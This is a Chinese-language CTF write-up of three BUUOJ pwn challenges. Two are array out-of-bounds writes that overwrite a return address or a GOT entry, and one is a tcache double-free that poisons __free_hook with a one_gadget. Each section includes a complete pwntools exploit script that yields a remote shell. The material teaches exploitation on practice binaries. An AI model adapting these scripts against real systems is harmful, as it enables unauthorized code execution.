目录
wustctf2020_name_your_cat(数组越界修改返回地址)
在NameWhich函数中没有越界检查
我们调试看一下
0xffd31214就是char v3[40]的地址
而在0xffd3124c处就存放着函数返回地址
0xffd3124c-0xffd31214=0x38
0x38/8=7
所以我们name 7 就能修改这个返回地址了
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 26926)
#r = process("./wustctf2020_name_your_cat")
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x0804866A
b *0x0804871B
c
''')
context(arch = 'i386', os = 'linux', log_level = 'debug')
system = 0x080485CB
def name(num, content):
r.recvuntil("Name for which?\n>")
r.sendline(str(num))
r.recvuntil("Give your name plz: ")
r.send(content)
name(0, 'aaa\n')
name(1, 'aaa\n')
name(2, 'aaa\n')
name(3, 'aaa\n')
name(7, p32(system) + '\n')
r.interactive()
wustctf2020_name_your_dog(数组越界修改GOT表)
题目和上一题一样,就是这次在bss段上
自然想到修改GOT表项
scanf的GOT地址为0x0804a028
Dogs的地址是0x0804a060
差值为0x38
0x38/8=7
from pwn import *
r = remote("node3.buuoj.cn", 28576)
#r = process("./wustctf2020_name_your_dog")
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x0804866A
b *0x0804869A
x/10wx 0x0804a00c
c
''')
context(arch = 'i386', os = 'linux', log_level = 'debug')
system = 0x080485CB
def name(num, content):
r.recvuntil("Name for which?\n>")
r.sendline(str(num))
r.recvuntil("Give your name plz: ")
r.send(content)
name(-7, p32(system) + '\n')
r.interactive()
ciscn_2019_c_3(绕过不能直接修改fd的限制)
add的大小被限制为3种,并且无法控制fd
后门函数,可以对fd进行递增操作
指针悬挂
利用思路:
- 因为我们可以申请0x110大小的chunk,释放后能进入unsorted bin,所以我们add(0x100), add(0x60),然后删除0 八次再show就能泄露libc
- 申请一个0x4f的chunk2,释放两次,此时chunk2的fd会指向该chunk的payload区域,我们利用后门函数把fd加0x10(idx为2的chunk每次backdoor fd都会加一),这样就能把__free_hook链到tcache上
- 之后就是熟悉的套路了,不过这题应该只能用one_gadget来获得shell
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 27292)
#r = process("./ciscn_2019_c_3")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0x1298)
x/30gx $rebase(0x202100)
c
''')
elf = ELF("./ciscn_2019_c_3")
libc = ELF('./libc/libc-2.27.so')
one_gadget_18 = [0x4f2c5,0x4f322,0x10a38c]
menu = "Command: \n"
def add(size, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("size: \n")
r.sendline(str(size))
r.recvuntil("Give me the name: \n")
r.sendline(content)
def delete(index):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("weapon:\n")
r.sendline(str(index))
def show(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("index: \n")
r.sendline(str(index))
def backdoor(index):
r.recvuntil(menu)
r.sendline('666')
r.recvuntil("weapon:\n")
r.sendline(str(index))
add(0x100, 'chunk0')
add(0x60, 'chunk1')
for i in range(8):
delete(0)
show(0)
r.recvuntil("attack_times: ")
malloc_hook = int(r.recvuntil('\n').strip()) - 0x60 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
success("libc:"+hex(libc.address))
system = libc.sym['system']
free_hook = libc.sym['__free_hook']
one_gadget = one_gadget_18[1] + libc.address
payload = p64(free_hook)
add(0x4f, payload)
delete(2)
delete(2)
for i in range(0x10):
backdoor(2)
add(0x4f, p64(free_hook-0x10))#3
add(0x4f, p64(free_hook-0x10))#4
add(0x4f, p64(one_gadget))#5
delete(1)
r.interactive()